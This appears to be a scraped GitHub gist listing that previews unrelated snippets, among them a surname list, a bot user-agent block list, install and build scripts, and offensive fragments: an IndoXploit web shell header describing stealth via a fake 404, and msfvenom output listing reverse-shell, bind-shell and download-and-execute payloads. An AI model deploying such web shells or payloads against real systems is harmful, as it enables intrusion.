This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"Agostinho", | |
"Aguiar", | |
"Albuquerque", | |
"Alegria", | |
"Alencastro", | |
"Almada", | |
"Almeida", | |
"Alves", | |
"Alves", | |
"Alvim", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AbachoBOT | |
anarchie | |
antibot | |
appie | |
ASPSeek | |
asterias | |
attach | |
autoemailspider | |
B2w | |
BackDoorBot |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - | |
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' | |
sudo apt-get update | |
sudo apt-get install google-chrome-stable |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding utf-8 -*- | |
# | |
# Copyright 2016 Akshay Raj Gollahalli | |
import dns.resolver | |
def get_records(domain): | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* # IndoXploit v3 Web Shell (Stealth Version) | |
* # What was involved? | |
* - Uses dynamic 404 page from the server to make the web shell looks like it was deleted | |
* - Login method is by using GET parameters, (example: 'http://example.com/idx_s.php?passwd=password_saia_kaka') | |
* # Important Bookmark | |
* - Password configuration at line 27 | |
* - login_shell() function at line 40-52 | |
* - Login validation at line 57-64 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
"""Quickly and dirtily get JBoss X-Powered-By header contents | |
from the Censys API. | |
Usage: python censys_jboss.py > censys_jboss.txt""" | |
import os | |
import sys | |
import json | |
import requests |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
msfvenom -p windows/meterpreter/reverse_tcp --list-options | |
Options for payload/windows/meterpreter/reverse_tcp: | |
========================= | |
Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager | |
Module: payload/windows/meterpreter/reverse_tcp | |
Platform: Windows | |
Arch: x86 | |
Needs Admin: No |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
msfvenom -l payloads |grep -i windows | |
cmd/windows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special) | |
cmd/windows/bind_lua Listen for a connection and spawn a command shell via Lua | |
cmd/windows/bind_perl Listen for a connection and spawn a command shell via perl (persistent) | |
cmd/windows/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent) | |
cmd/windows/bind_ruby Continually listen for a connection and spawn a command shell via Ruby | |
cmd/windows/download_eval_vbs Downloads a file from an HTTP(S) URL and executes it as a vbs script. Use it to stage |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# set -eux | |
# This a simple script that builds static versions of Python and LibPython using musl-libc | |
# Find the associated article at: http://general-purpose.io/2015/12/06/compiling-python-and-libpython-statically-using-musl-libc/ | |
WORKING_DIR="/code/static-python" | |
MUSL_PREFIX="/code/static-python/musl" | |
PY_PREFIX="/code/static-python/python" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def extract_form_fields(self, soup): | |
"Turn a BeautifulSoup form in to a dict of fields and default values" | |
fields = {} | |
for input in soup.findAll('input'): | |
# ignore submit/image with no name attribute | |
if input['type'] in ('submit', 'image') and not input.has_key('name'): | |
continue | |
# single element nome/value fields | |
if input['type'] in ('text', 'hidden', 'password', 'submit', 'image'): |